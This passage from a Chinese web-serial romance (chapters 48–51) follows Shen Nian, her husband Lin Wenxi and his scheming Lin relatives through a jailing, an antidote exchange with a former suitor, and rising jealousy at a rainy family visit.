“她又不是没见过我还瞧什么瞧,分明是在耍威风拿我寻开心罢了,我还看不上去呢。” 林御史瞪了她一眼:“这脸已经丢了一次,失约不去是要再让人看一次笑话吗?” 林长淑:“可我又并不懂那些……” 林主君:“见面三分情,你去见了面那沈三娘子也没有当面驳你的道理。” “我看阿嫂并非是难说话的人,没五郎在旁挑拨想来阿嫂不会为难三姐姐的。” 林长羽开口打消林长淑的顾虑,此事才算说定。 翌日接近正午时分林长淑才悠悠迈步虞部司门前,因没有令牌被守卫拦在殿外。 “去回禀沈令使,我是她林家三姐姐在,请她出来见。” “令使大人正在工坊建造水车,吩咐过若没有正事不得进去打扰。” 林长淑嘟囔了半天也不好意思将自己来意说出口,只是向守卫重复道:“你去回她林家三姐姐就是了。” 守卫叉着腰翻白眼道:“整日来这个说是姐姐那个说是妹妹人多了去了,什么林家李家的,吃罪了令使大人你替我挨罚不成,去去一边站着。” 林长淑伸出手指着守卫的脸:“你这有眼无珠的东西,待会自会叫你后悔……你等着!” 守卫见状不客气抽出刀晃在她脸上:“叫你说个名目你支支吾吾说不出,还在此大放厥词,莫不是心怀不轨。” “你……你说谁心怀不轨!”林长淑偏要较劲往守卫刀上碰,还出声大喊沈年的名字。 她的声音很快引来巡逻的官差,抽出她怀中的腰牌笑了声,“一个个芝麻大点的主簿,也敢在此闹事,将人压下去审审。” 林长淑一个在府中常年养尊处优的贵小姐根本没力气挣脱这些健壮的守卫,两三下便被捂着嘴拖了下去。 外面的小侍来报林长淑被押进狱中时,林主君正在用中饭,吓得将手中的碗筷叮了哐啷摔了一地。 林御史常年在官场独来独往,又加上经常在朝中参别人,一时竟找不到门路去打听这林长淑究竟是何缘故被关起来。 只好上了马车去沈府寻林闻溪。 马车在长街上行的飞快,林主君和林长羽坐不稳当,在车内偶尔被路面上的浅坑震的一晃。 林主君握着一只拳捶自己的手心,“说不定正是这小蹄子挑唆的,说好了今日让你三姐姐去寻沈三娘子,怎就被关起来了。” 林长羽:“阿嫂想来不会如此糊涂捉弄人,三姐姐生死未卜眼下也只有去寻他,待会见了父亲可要收收脾气,先救三姐姐出来要紧。” 林主君点头长叹了一声,“当初要是给你和沈三娘子定了亲就好了。” 林长羽闻言忽的睁大了眼眸,眼珠慌乱转了转垂下头道:“她如今是我的阿嫂,父亲您还是不必说这样的话。” 沈三娘子……如今算的上是男儿梦中情女,可那是已经林闻溪的,他林长羽才不要那种人染指过的东西,他……不要。 林长羽想的出神,直到林主君下车时的动作将他惊醒过来。不等沈府门前的侍从回禀,林主君便蒙头往里面闯。 林闻溪正在小厨房蒸着糕点,沾了一手的面粉,听外面的侍从急匆匆进来禀告。 “正君,林家主君和那小公子又来府上,不说缘由就往里头闯。” 林闻溪听到二人的名字,脸上的好心情一消而散拍了拍手上的粉骂道:“真是沾上狗皮膏药了,甩都甩不脱。” “五郎!五郎!” 林闻溪正骂着便听见外面林主君扯着嗓子大声喊他。 他怒目走出门去,林主君见到他扑上来不由分说便哭喊,好似人已经没了一般。 “你三姐姐遭了大难今早被关进狱中,你可要想法子救救她。” 林闻溪觉得耳膜都要被穿破,伸手将耳朵堵住,示意身边的侍从将人拉开。 “父亲当沈府是皇家大内不成,没官也来找,进了狱也来找,我可没那般神通。” 林长羽道扶着林主君说话也急了:“阿兄就别说那风凉话了,以三姐姐的身板哪能禁的住那狱中的折磨,还是去寻阿嫂想想法子先救人命要紧。” 林闻溪倒是不担心他这什么三姐姐的死活,只是想到昨夜沈年才答应了将林长淑调进工部,今日林长淑就被下了狱。也不知这事与沈年有无干系,会不会被连累。 他想到此没再多言应下来,回去屋内换了身衣衫,又将刚蒸的糕点装进食盒内带上马车随林家父子一同前去官属。 小薇婚事临近这两日不跟着沈年,林闻溪捧着食盒从马车中下来,本要从袖中掏出些银两给官属守卫进去通报,不成想官属的守卫竟认得他,看见他手中提着的东西意会。 迎上来道:“郎君稍待片刻,小人去里面回禀一声。” 林闻溪微笑着点了下头,不多时便见沈年拿手遮着日头匆匆走了出来。 “这会正是晒的时候,你好端端跑来做什么?”沈年走近来瞧见林闻溪手中提着的东西不忍驳他的好意,“这里有吃食,日后就不要来送了。” “我也不想来扰三娘的正事,只是父亲和阿弟说三姐姐被关进狱中了,三娘可晓得这事?与三娘无关吧。” 沈年满头问号:“被关起来了?我一早的等不到人来便去忙了,未曾再出来还没听说有这事。” 守卫听到沈年的话开口道:“快午间的时候是有人称是沈大人的什么姐姐,问话不回闹起事来,被巡捕的官兵压起来了。” 沈年闻言捏着眉心强掩着嘴边的笑意问道:“将人关哪去了?” 49 第49章 ◎喜欢二字◎ 守卫引着沈年往监牢中去,林长淑正歪七扭八倒在地上的干草堆上昏着,门上挂着生锈的铁链,下面坠着一只大锁。 守卫边翻动腰间的钥匙,边出言小心向沈年解释道:“只怪沈大人这三姐姐体弱无力,还并未将她怎么样一路喊闹到监牢门口的工夫就将自个昏倒过去了,着实是误会一场才将人关了进来,还望沈大人勿怪。” “你们也是在其位谋其事而已,怨不得你们。” 听沈年并未计较,守卫松了脸色去开门锁,铁链跟着在监门上被拽发出冷冰冰令人浑身起皮的声响,里面躺着的林长淑被这声音惊醒。 她一睁眼看到监牢外沈年的脸,不知哪里来的力气用力拍了拍身上的草渣腾的一下子站起身来,将下巴抬起来趾高气扬着盯着沈年看。 守卫将门推开向里面的林长淑知会一声道:“你可以走了。” “你们无故将我压进来,一句话就想让我走了。” 守卫转头看了一眼沈年的脸色,心中有底讽了她一句:“难不成还要我给你赔礼道歉不成。” “怎么?难道不该吗?”林长淑反倒越说越来劲,“我好歹也是名臣之后,进这鬼地方来一趟辱了祖宗的名声你合该向我赔罪!何况今日还是沈三娘请我来的。” 林长淑秉着一副沈年亏欠于她的神情,“说好今日让你来见我,偏躲在里面不出来,我看是成心戏弄我的。” 林闻溪说这人是个榆木脑袋还是说好听了些,沈年皱眉冷笑了一声,“三姐姐自个迟来还怪上我了,你既然不乐意走那便就在此好好住着。” 沈年撂下话一刻都未在多留,甩袖背手走了出去。 “沈年!”林长淑始料未及,脑袋一蒙要从门口出来追上沈年理论,却听噔的一声监牢的门被重重的合上,链条哗啦啦的响动又落上了锁。 林长淑抓着门口的铁栏摇的奋力,一边疾声唤着沈年,一边向门外的守卫命令:“还不放我出去,我可是沈三娘的内亲!” “没听见沈大人说的叫主簿大人在此好好住着呢!”守卫咬着主簿两个字有意奚落,看见里面林长淑脸上青一阵白一阵,又接着嘲笑了一声,“什么三姐姐人家正眼都没给你一个,亏我还当你是个什么人物。” 林长淑生来没受过这莫大的羞辱,气的面色发白咬着牙却也说不出什么。 “你” “瞧什么瞧,”守卫笑的更加肆意,“还什么名臣之后,人都不知死了多少年了,说出口也不怕人笑话。大宅门里的贵小姐当惯了不知今夕是何年,睁开你那眼仔细看看如今这是谁的世道。” 见沈年一人独身出来,车厢里的林主君拍着木窗哭道:“我的长淑怎不见出来,定是在里面挨了板子了!” “父亲,您先莫急。”林长羽拍着林主君的后背,一面探出头向沈年问,“阿嫂,三姐姐她人呢。” 沈年像是并未听到他说的话,停在车板前抬手去接钻出车厢的林闻溪。 林长羽觉得自己的脸面一瞬碎在地上摔的粉碎,僵住半张的唇角,看着林闻溪的手被沈年严丝合缝牵着,指甲在木窗上划出几道痕,细碎的木渣扎进手指中锥心的疼让他回过神来。 像林闻溪这般人人鄙夷,品行出身都逊色于他的男子,先前在兰城那乡下小院沈三娘一心被他迷住还情有可原。 可如今他几次三番在沈三娘面前露了脸,但凡是长了眼睛的人应当都分的出孰高孰下,沈三娘子理应在他身上留意,理应将目光转向他,而不是现在这样对他视若无睹。 林闻溪论起来和府中的下人出身差不了多少,唤他一声兄长,一声五郎,是林家人知礼体恤。 他应当有做下人的自知,就算一时得老天庇佑,也不该挡了主子的光。 林长羽虽看不上抢他的东西,但不甘在他面前落了下风。 他想着忽然有些生气,一句话横亘在沈年与林闻溪中间,“阿嫂要与阿兄哪有那么多话要说,三姐姐她人呢?” 沈年没好气的回呛了他一句:“我可替她求过情了,是她自个爱在里头住着,可别赖在我头上。” 明明对着林闻溪说话是那般温柔,转头对这他却是如此不讲情面。 林长羽心中生出委屈躲回里面去憋起股气来,林主君还推着他催促道:“怎又坐回来了,还不下去同五郎说几句好话。” “父亲!”林长羽重声打断他的声音,将面前的林主君唬了一跳。 林主君顿了片刻,又出言责怪:“你这孩子一向乖顺,今日也学着五郎对我发起脾气来了!” 父子争吵的工夫,转头一看沈年与林闻溪已经不见了身影。 沈年领着林闻溪往一小酒楼中去,上了二楼雅间坐下。 “林家人都中什么邪。”沈年斟一杯酒咽下,不忍发笑吐槽道。 林闻溪放下碗碟低头自愧道:“我给三娘添麻烦了。” 沈年敛起笑伸手摸摸他的下巴逗他开心:“我又不是说你,是你那个三姐姐实在招笑的很,不像是进了大狱倒像是回了自家内院一样,吆五喝六不知哪里来的底气。” “林家的人一向如此,年幼的时候有祖母的名声在外面的人恭维吹捧,真当自己是什么名臣之后,他们林家一脉超然出尘该人人尊崇。” 林闻溪停顿想了想又说,“林府人看我不过是个受她们施舍的下等人,下人该出力侍奉主子是理应自然,主子当久了一时要与下人平起平坐哪里能习惯呢。” 沈年呵呵一笑,“那就让林长淑好好在狱中住几日。” 林闻溪心想沈年还是心软了些,最好将人关一辈子,病死在监牢里才好。 林闻溪未带着侍从一人出来,沈年送他回沈府,到门口见林家父子的马车又停在门口。 沈年皱眉要跟着进府去赶人,被林闻溪拦住,“哪用的着三娘,送我回来已经耽搁了时辰,去忙你的正事便好。” 和沈年分别进了府,林闻溪招手唤门口的十来个护卫来围在自己身边一路进了院,林主君近不得他的身,眼睁睁见他钻进了屋内,又在院中赖着不走哭喊。 “你这冷心绝情的,父亲来了自个躲进屋里享福,将我晾在*着日头底下。” 说起来也是林闻溪的名义上的父亲,若是让护卫舞刀弄枪将人赶出去又是林闻溪的不是。 林闻溪招呼了一声,几个侍从在院中架起炉子熬起药来,用的是十分劣质的炭火很快炉子底飘出黑烟来,侍从拿着扇子,林主君父子二人往哪边走他们就将烟往哪边扇。 林主君呛的出不了声,又被七八个炉子烤的火热,狼狈的弯腰咳嗽,像耍猴一样在院中被赶来赶去。 林长羽实在觉得没脸,不愿在此继续丢人现眼率先拔腿往府外走,林主君独木难支无奈跟着出去。 沈年回了官署有意嘱咐了监牢里的守卫几句,林家连递几句进去都成了难事。林闻溪更是托了病不见人,沈府门前添了七八个人守的铁桶一般,林府的马车一来便有人上前来轰赶。 沈年更是神龙见首不见尾,一进官署就钻进工坊内闲人勿扰,下了值身边时刻有陛下赏的那几个亲卫跟着,人还未走近那些个亲卫的刀便拔出来了。 林主君急火攻心一时病倒在榻上,林长羽端着药碗在旁侍奉。 林主君咳的声音沙哑,还不忘骂:“都是那黑了心的小蹄子拿那黑烟将我熏的!” 林御史闻声过来瞧他,林主君闻到她身上侧室所用的熏香更是气的黑脸,“淑儿都关了几日了,主家不去想法子救人竟还有此闲心。” 林御史:“你惹出来的祸事,我去何处想法子。” “去寻沈三娘,我不信她不见我们,也不见你这个岳母!” “要我一个长辈去低三下四拜小辈的门,要我的脸面往哪里搁。” “你一个做母亲的见孩子身陷囹圄,还想着你的脸面?” “长淑在官署门前闹事在先按律该罚,我平日在朝上参奏他人,总不能到自己身上便包庇纵容。”林御史说罢又补了一句,“左右犯的又不是大事,不会要她的命,过两日自会放她出来。” 林长羽在旁听着,心中琢磨着明日工部会在河岸上搭建下一批水车,到时候或许能碰到沈年的面。 他想去一试。 在府中坐了一早等外面派出去的人来回话,他心中莫名有丝忐忑和雀跃。 所幸传话回来说见到了沈年的面,林长羽匆匆上了马车,一路向郊外疾驰生怕错过。 到了河岸边是正午时分,阳光熠熠将水面照发亮,连同河边树木的枝叶都在片片闪着金光。 他穿了一身素雅银白色外袍,撩开一点车帘,外面大多是正在拿饼充饥的女子,沈年还在水车架子上忙活,他唤车夫下去向身边的人传话。 同车夫说话的那女子往车帘内瞟了一眼隐约看见了他,很快笑着点头去唤沈年。 林长羽坐在车中忙着整理自己的衣袖发冠,不想车窗忽然被推开,下一秒沈年笑吟吟的探进脸来,声气十分亲昵:“怎今日敢出门来了。” 林长羽的心跳漏了一拍,怔怔出声唤了声:“阿嫂。” 日光晃眼,沈年定眼看清眼前的人是谁,表情僵了一瞬,慌忙将身子往后退,将窗子紧紧合上。 她的语气冷下来,像是满心欢喜落空的那种失望又带着责怪的声气:“怎么是你?” 所以刚刚是认错人了。 沈年把他当成了谁,是林闻溪吗? 就这么不想见到他,脸色变得可真快。只有对着林闻溪才会用那种温和的语气,对着他就一瞬跌进冰窖里了不成。 林长羽一时错愕,语气不知觉带着火气:“本来就是我,怎么?” 他听沈年在窗外说话:“许是这光太亮,她们认错了人了,刚才不慎冒犯。” 果然…… 林长羽失望的闭眼沉默了一声,听外面的沈年语气生疏的问寻她何事。 林长羽:“父亲为着三姐姐的事已经病倒了,我想请阿嫂念在两家情分,高抬贵手放了三姐姐回府。” 沈年淡淡哦了一声,再没多说别的。 林长羽见窗外的身影很快背身离去,甚至没同他道一声别。 不过按这意思是答应他了? 林长羽不尴不尬的唤车夫打道回府。 沈年将水车搭好时辰还早,回了官属便见监牢里的守卫正在墙角等着她回来。 “沈大人,午间有个人来探监后原先从您府中抬出来的那鳏夫忽然转醒了,交代了说是他自己吞药的与沈大人无关,京兆伊判了您府上那两个家仆的罪,着人来请您过去按个手印结案呢。” 沈年想了想应该是阿久的手笔,不知他怎么又好心帮她了结此事了,掰着指头数了数似乎离那日约定见他的期限没多少时辰了。 她忙起来差点忘了这桩事情。 沈年点头往京兆伊衙门中去,京兆伊的桌案上摆着供状正坐着等她。 沈年沾上红泥在状纸上按下印,笑着给了对方一个台阶下:“大人办案辛苦,这时候还未下值。” “自上次朝堂上被陛下训斥我便痛定思痛,亲查亲验,断不会再有此案的疏忽,那日朝堂上有言语失当之处沈令使可不要计较。” 沈年笑道:“大人也是为了办案,下官懂得。” “那鳏夫留在监牢里也无用了,在牢中喊着叫沈令使带他出去,不知” 沈年道:“我带他出去就是。” 沈年一进监牢又看见了昏睡着的林长淑,身边的守卫在沈年耳边道:“这主簿前日就哭爹喊娘的叫放她出去,再住几日这身子怕是要熬不住了。” 听到声音林长淑扶着黑秃秃的墙壁站了起来,在这牢中住了三日她才有丝醒悟过来,看到沈年两眼放光,也不喊什么沈三娘了,跟着外面的守卫喊沈大人。 “我不想在此住了,求大人放我出去吧。” 林长淑言辞恳切,沈年见她两腿晃晃站不住恐她真有个什么好歹赖在自己头上,拍了拍守卫的肩道:“放了出去吧。” 门锁打开,林长淑抓着铁栏从里面走出来向沈年道谢。 “三姐姐还可以走吗?可要我着人送你回去。” “不必不必。”林长淑颤颤巍巍的向外头的亮光走去。 沈年又往里去看那鳏夫,他昏迷太久手脚麻木,只是能说话并不能走动,沈年同人一起将人抬出来,门外已不见了林长淑的身影,停着一辆马车,车前挂着条细绳。 鳏夫瞧见马车道:“将我抬过去。” 将人抬进去,里面的小侍悄悄塞了一张纸条到沈年手中,是一间小茶馆。 沈年认识那小侍是从前刘宅里阿久身边的人,出了官属七拐八绕的才往那茶馆中进去。 一进去便有人来引着她往二楼小阁中去,阿久在里面坐着拿着针线绣帕子。 沈年到迈步进去先在窗前瞧了瞧下面街上有没有人什么眼线。 “这附近是我置的铺子,都是我的人,放宽心没人知道我出来。” 沈年闻言打量了阁中四周几遍才坐下,走了一路口渴端起茶杯递到嘴边,想了想又放下。 阿久无奈笑了声,探身过来端起她放下的杯子将茶饮下,用杯底敲着桌面问道:“说好了五日,今日都几天了。” “我忙的晕头转向,连家都没空回去,哪数的清这日子。”沈年放下心自己又倒了一杯水,“今日过来也不算失约。” 阿久支着脑袋看向她:“是三娘子心里不记得我罢了。” 沈年:“那个鳏夫和那两个家仆把我害的不浅,我记着呢。” “我不已经帮你了结了,劝服那个鳏夫为你说话,又将人送走花了不少银钱呢。” “你倒是好心给他解了毒,何时也能给我把这毒彻底解了。” “解了毒,三娘子就不来了。” “你都成婚了,这样偷偷出来和我见面,天长日久纸保不住火,迟早会出事的。” 阿久笑了笑:“三娘子是在为我担心?” 沈年:“随你怎么想,解药不能给我,那从前的那张婚书总可以给我吧,反正你留着也无用,免得日后被人翻出来又要我的命。” “三娘子是不是骗我骗习惯了,真当我跟从前那么傻会信你的话,那张纸可是我最大的念想。” 沈年见他油盐不进懒得再多费口舌,站起来道:“解药给我,我得走了。” 阿久抬眼倔着脸道,“再坐会,这些时日我很想三娘子。” 听见沈年皱眉叹了口气,阿久又看了一眼她,从袖中拿出木盒起身走过放在她手边。 “你走吧。” 今日阿久没提什么骇人的要求,也没想着要在抱她或是亲上来,周身一股哀愁,不见从前那种蜜罐子里养大的喜气。 沈年取出木盒中的药丸吞下,又开口劝他:“你才多大年岁往后人生还很长,不必执迷在这小小的一段,过让你欢喜的日子。” 阿久在窗前一直望着沈年的背影消失,上了马车回徐府眼眶里的泪珠才掉下来。 回到府中点了香,榻上的女子从迷梦中醒来坐起,看到他发红的眼眶小心坐在他身边。 “安郎,你怎么又伤心了?又想你母亲了?” 阿久含糊的点着头,也不去看身旁的女子。 女子走到他面前递了块甜糕到他嘴边:“我刚才不知怎么睡着了,天色已晚,明日我带你回去看你母亲可好。” 阿久并不想吃这东西,接过来放在一旁。 这个女人身上的情蛊他明明已经解开了,可还跟中了蛊没什么两样,成日傻乎乎围着他转。 “日后别偷偷哭,安郎,我会心疼的。” 他听着这女人的话心烦,阿久知道这女人是真心疼他,喜欢他。 可他不喜欢,她说话,眼神,就连喝水的动作,他都看不惯。 他有些明白这女人之于他,就像他对沈年。 不喜欢便是不喜欢,任凭她做再多也丝毫动摇不了他的心。 他渐渐有些明白过来。 夜里他拉开女人揽着着他的胳膊,起身下榻坐起来,翻出那日大婚的喜服,取出剪刀将里面缝着的那纸婚书找出来,闭着眼将纸丢尽香炉中燃成灰烬。 50 第50章 ◎入局◎ “你今儿去见了沈三娘?” 林主君坐在塌边摸着林长淑苍白消减的脸颊心疼,抬头问身旁站着的林长羽。 林长羽似笑非笑的缓缓垂头:“我请阿嫂早些将三姐姐从狱中接出来。” 林长淑咳了两声,“原来是六弟为我求情的,沈大人竟愿意给六弟面子,才几个时辰就亲自去狱中将我放出来。” “是阿嫂本就仁善宽厚,我那两句话……做不得什么数的。” 林长淑跟着点头附和:“先前是我说话不知轻重惹了沈大人不悦,在狱中我瞧着旁人一个个被拉去受刑,我倒是之被关着没受什么苦楚,今日沈大人还问需不需着人送我回府。” 林主君见两人一唱一和,反倒说起沈年的好话来,气的站起来道:“女儿怎在狱中住了几日便如此志气消沉,一口一个沈大人的叫,她仁什么善,将人关进去这两三日女儿人都瘦了多少。” “父亲少说两句,想想我在狱中里外不通消息,沈大人却进出自如,林家如今比不得从前。”林长溪叹一声,“书中言君子不立危墙之下,往后还是与沈家少起争端为好。” “罢了,淑儿先好生休养几日。” 从林长淑屋中出来,林主君唤身旁的林长羽随他回了院中,屏退一众侍从从一书卷中抽出张帖子给林长羽看。 是张夜宴请帖,上面盖着玉锦侯府的红印。 此宴只闻不见,传言能被邀前去赴宴的都是各公伯侯爵府上的千金和公子,像林家这种出身寒门的小官小户连迈脚进去的门槛都没有。 “父亲哪里来的这东西。” “前日去寻沈三娘,回府途中被侯府的马车拦住,那玉锦侯府的主君说先前几次在宴席上见你,赞羽儿相貌俊逸,举止端和,有意与你将世女相配,给了我这张帖子邀羽儿前去与世女彼此相看一眼。” 林长羽将帖子按到桌案上摇头:“父亲说笑,侯府怎会看上我们林家,偏这时候送来这帖子还是将帖子回了吧。” “羽儿此等样貌,被侯府看上也不算稀奇,就是陛下的宠君也有出身低微的,何况只是一侯府。再说只是去瞧瞧,就算这婚事黄了也不亏什么,为父可不愿往后一直看那小蹄子的脸色过日子。” 林长羽摸了摸耳垂十分犹豫道:“这事不如问过母亲和几位姐姐再说吧。” “你母亲和姐姐是什么秉性你又不是不知道,说与她们定觉得为父要攀高枝,捡那些听的耳朵起茧子的话来说,不是辱了你祖母的名声,就是污了林家的清名,那还能成什么事。” 林长羽:“可” “不过是前去露个脸的小事,过了这个村没这店,你母亲和姐姐一副死脑筋,说不准羽儿去赴这一场宴,林府便就此翻身了。” “那依父亲所言就是。” 林主君摸着林长羽的额发满意的笑道:“乖孩子,如今只有你能为我们林家长长脸了。” 林主君花了重金为林长羽赶制了一身华袍赴宴,瞧着林长羽与宴上的一众公子相比仿若谪仙,林主君捧着酒杯飘忽忽一连饮了几盏。 待见到那玉锦侯世女不必说林长羽,连林主君心中都大失所望,那位世女全然不像是金尊玉贵的侯门千金,倒像是从哪处山沟里随手拉来的村妇,缩肩颓背的讲起话来也是磕磕绊绊,像个呆子。 和沈年相比一个天上一个地下,林长羽掩着脸勉强同那世女说了几句话,便捂着胸口咳了两声装病与林主君打道回府。 林长羽拿帕子擦着脸和手生气道:“这什么夜宴,怪不得不许人进,想来是怕传出去引人笑话。” 林主君:“这世女生的如此,想来你进了侯府不会受岳丈的刁难。” 林长羽闻言瞪大了双眼,“父亲这话是何意,难不成还想让我跟那样的女人成婚。” “世女形貌虽逊色了点,但到底是侯府,若不是如此想来也不会找我们林府。” “父亲!您竟为了林家的面子和前程狠的下心将我送到那种女人身边!平日里几个孩子我可是最孝顺您的,您就如此偏心眼,为了三姐姐愿意低三下四求人,却要将我拿去铺林家的路!” “女子的容貌又不重要,你母亲生的好又有何用,父亲也是为你好。” 林长羽发红着眼眶怔怔盯着眼前的父亲,气笑了一声:“为我好?” 林主君伸手去碰他的手被甩开,马车听到林府门前林长羽逃一样的躲回屋中痛哭起来,几日不让林主君进他的门。 不过自那日夜宴后便没了下文,玉锦侯府没再传来什么音信,渐渐林主君也不抱什么念想,此事也就不了了之。 林长淑在府中躺了七八日,去了官属被沈年安排着做些七零八碎的杂事,她来的时日短又加上没在水车之事上出力,完工时除了她一个,虞部司内的一众人员都获了陛下封赏。 侯府的婚事白欢喜一场,偏又听到沈年又获了封赏,林主君边招呼着府中的侍从端碗捧碟边气冲冲的骂道:“好一个沈三娘,我瞧她就是成心的。还有这雨早不下晚不下,偏等她完工了才下,老天爷真是痴傻人家沈三娘如今周身恭贺声不断,哪里用的着它再下雨添彩。” 林长淑在旁望着院门口劝道:“父亲,您就别再说了,沈三娘和五郎想来快要到门口了,当心被听了去。” 林主君:“听就听去,今日是她到我们林府来,我还要当面问一问她,当初答应的好好的,怎如今她连封带赏的却连口汤都不给你喝。” 正说着见林闻溪撑着把伞同沈年从院门中迈步进来。 沈年的声音和着雨声传到厅堂中:“忙了半月有余总算得空过府来拜见岳母和岳丈,刚才在院门外隐约听着不知岳丈给我和林郎备了什么汤来呢。” 一直闷声坐着林长羽闻声站起身探头向外看,越过林主君走到门口笑着迎沈年二人,“是用冬瓜荷叶煮的的汤,清暑利湿,阿嫂和兄长进来尝一尝。” 林闻溪听沈年那日回来说身边人错将林长羽认成他的事情,心中便起了防范,眼下见到林长羽如此殷勤往沈年身边凑心底不由的冷笑,收起伞时故意将伞面上的水珠甩了甩,溅到林长羽脸上几滴。 见林长羽捂着脸背过身去擦拭,又假惺惺跟上去问道:“我一时不当心,阿弟没事吧。” 林主君端坐着捂着喉咙咳嗽一声,“五郎愈发的厉害了,在沈府将我父子二人烟熏火燎病了一场还不够,到了林府也这般欺负人。” 林闻溪笑着说:“我身子不好,大夫嘱托每日都要煎药来服下,府里的那些小侍不懂规矩,听闻父亲回去病了我狠狠罚了他们一顿呢。” 林主君道:“五郎的身子是该好好服药,沈家只有沈三娘这一支独苗,如今成婚一年有余也不见给沈府添个一女半子的,这无后可是七出之首。” 林闻溪被戳中痛处,一口气噎在喉中吐不出来,他在门口处站着后背被吹进来的雨水扑上来打湿。 一进门沈年就被林长淑引到另一边同林御史和林家长女说话,隔着半透的屏风见外面林闻溪一人湿乎乎站着,忍不住分神往他身上瞧。 林府共有两女四子,只有林长溪羽林长羽是正室主君所生,另外四个都是各个侧室所生的。 先前林闻溪去兰城时便是搭了林府的长女林长漪的车马去的,听林闻溪所说这一家也就林长漪还算为人正直。 林长漪打量着沈年心不在焉的模样,向外看了看道:“五郎久未回府想来是生疏了,一人站着。” 她说着起身站起来向外走道:“我去唤他姐夫来陪他说说话。” 沈年不放心跟着走出去,拉着林闻溪的胳膊坐到一边,悄声对他道:“少和他们置气,稍坐一会就回府。” 林闻溪偷偷在沈年掌心摸了摸,抬起脸向她点了下头。 不想林长漪唤了正君前来,怀中还抱着个一岁大点的小孩。 林长漪不知情放下伞还笑着对林闻溪道:“这小孩正是闹腾的时候,五郎逗她玩会便不觉的闷了。” 林闻溪知道他这长姐是一番好心,此刻嘴巴被黏住一样,不知怎么张嘴回话。 身旁的一男子捂着嘴笑了一声,“正说这事呢,长姐莫不是有心下五郎的脸面。” 林闻溪看了局促的林长漪一眼,宽和挤出笑道:“长姐不必听四哥胡言,正巧我还没见过这小娃娃呢。” 林闻溪抱过孩子,听着他四哥和林主君止不住的窃窃笑声,抓着身上玉鹿的穗子强颜欢笑逗孩子玩。 “子嗣之事自有缘分,不急在这三年两年的。” 沈年冷不丁的说了句,那笑声一瞬停下来,身后几位的眼神长长的落在沈年身上停顿半晌后彻底沉寂下来。 林长羽呆坐在一旁,愣了许久的神。 想起那日夜宴中见到的那个世女,心中更恍惚了些。 林闻溪的命也太好了点。 他转念又一想,他或许该学林闻溪为自己谋婚事,若像从前那般守着什么父母之命,只会被父亲不留情的推到火坑里。 沈年听了他的话将三姐姐放出来,想来是对他有那么丝情意的。 他若向沈年靠近一点点,不知她会作何反应。 50-60 51 第51章 ◎雨日(一)◎ “阿嫂。”林长羽站起身不轻不重的唤了沈年一声。 沈年正随林长漪往屏风里面走,听到声音回头看向他。 虽只是一句平常的称呼,但一屋子的人都不自觉的一同看向林长羽。 只是林长羽端着一副正经清白的神情又实在看不出错来。 林长羽清了清嗓子淡淡笑着问:“不知阿嫂喜欢吃哪道菜,府中新来了位厨娘手艺不错,我早些吩咐下去。” “不必了,我与三娘坐片刻便回。” 未等沈年回话,林闻溪便语气冷漠的一口回绝。 屏风里面坐着的林御史将林闻溪的话听的真切,脸色愠怒走出来教训他道:“这是什么话,请了几回才舍得回林府一趟,你阿弟好心好意一进门就奉承你二人,还换不回你一张好脸色了,摆哪门子的架子。” 林闻溪似被这一句话震住了,木然坐着不动,唯有两个眼珠还在转,无助的看向沈年求救。 沈年还记得那日林闻溪在马车中向她哭着说的那一堆话,他害怕见到他这位母亲。 她径直向林闻溪走去,揽着他的肩让他将脸埋在她的腰间。 “怪我出门时和他说了这话。”沈年不避讳几人投来的眼神,轻拍着林闻溪的肩道,“今日下着雨,摆完宴都不知要到几时不好回府,便和他说了稍坐坐就回。” 林御史着一通脾气发的让自个下不来台,眼见着林闻溪扯着沈年的衣裳楚楚可怜的望着她,一刻也不想呆了的模样。 林长漪掩面假咳了一声,上来替林家人打圆场道:“听说弟妹要过来,二弟和四弟今日都有心唤了妻主一同回府来,这会想来二弟正在路上呢。” 先前说笑的那四哥也忙接说留人:“为着弟妹和五郎过来,我家娘子刚才冒着雨出门去东街酒肆里买酒去了,你们夫妻二人一走可算是白白令她辛苦一趟。” “府上有空的厢房,今夜就在林府住上一晚。” 林长漪的话说到这个地步,沈年没法再推辞。 林长羽暗暗白了一眼林闻溪,从前林府摆什么家宴,林闻溪只坐在自己座位上嚼那些糕点,等到别人嘴里提起他,他才一板一眼地答几句话,那时还算是规矩。 眼下他不会如此不知廉耻当着一家人老小的面抱着女子的腰的不知道撒手,当真是生出来根上就带的轻浮低贱,若换做是他早要刨个坑将自己埋起来。 “阿嫂,那菜?”他又出声问,想将沈年注意引回到他身上。 可林闻溪似是受了天大委屈一般,抬脸缠着沈年勾引她心疼,沈年只顾着低头安抚他,也不看人也不回话。 林主君在这边瞧得分明,林长羽是他身掉下的一块肉,看他一举一动就猜到林长羽心中在想什么。 林主君敲响两声茶盏,“就是成过婚也不好在这里拉拉扯扯的,待会你二哥和他妻主进门来瞧见成何体统。” “父亲说连了姻亲就是自家人,在自家人面前这般也不算什么。” 林闻溪在沈年怀中贴了几下有了说话的底气,又起身拂了拂袖子道:“三娘平常所用的吃食都经我的手,我同阿弟一同去厨房。” “走吧。”林闻溪出了门撑起伞在雨中唤林长羽,他笑意的不达眼底,直勾勾的盯着他看,像是一只潮湿的毒蛇在引诱自己的猎物。 沈年瞧见他这样子,先迈步到门口从屋檐下探出手去握他的胳膊,唤了声他的名字。 她半个袖子被雨水沾湿,林闻溪将伞倾向她一瞬又笑的温和。 “怎么了?”他问。 “别做什么让我忧心的事。” 林闻溪笑着将沈年推回堂中:“怎么会,我去片刻便回来寻三娘。” 林长羽经过沈年身边眼神在她身上流转而过,他躲来林闻溪,独自撑了另一把伞在前面走。 穿过庭院,二人走在一窄小的石子路上。 林长羽故意将步子迈的小,林闻溪只能跟在他后面低头看着他的鞋底走路,他边走边转着手中的伞柄将雨水全数往后飞去。 “兄长从前就是这样跟在我后面走路的,可还记得。” 林长羽话音未落,衣尾被后面的林闻溪一脚踩住,死死的碾在地上。他向后一仰眼见着后脑要栽倒在地上,林闻溪轻轻伸手将他扶着,他只是下身狼狈跪倒在湿地上,手中伞早甩到了别处。 林长羽的脸被的雨水打着,他心有余悸大口喘息口中含着雨滴,带着土腥味,他捂着喉咙猛的咳起来,憋红的脸仰面看着头顶的肆意笑着的林闻溪。 “从前的事跟三娘过久了不记得,眼下阿弟在我面前这般跪着倒是这辈子头一遭,想来我此生都忘不了。” “兄长刚才是想要我的命。” “我明明是救了你才是。”林闻溪笑着将伞面半倾在林长羽的面前,雨水顺着而下直往他嘴里灌,“不过你要是想从我身边抢走三娘,我可是真会要你的命。” 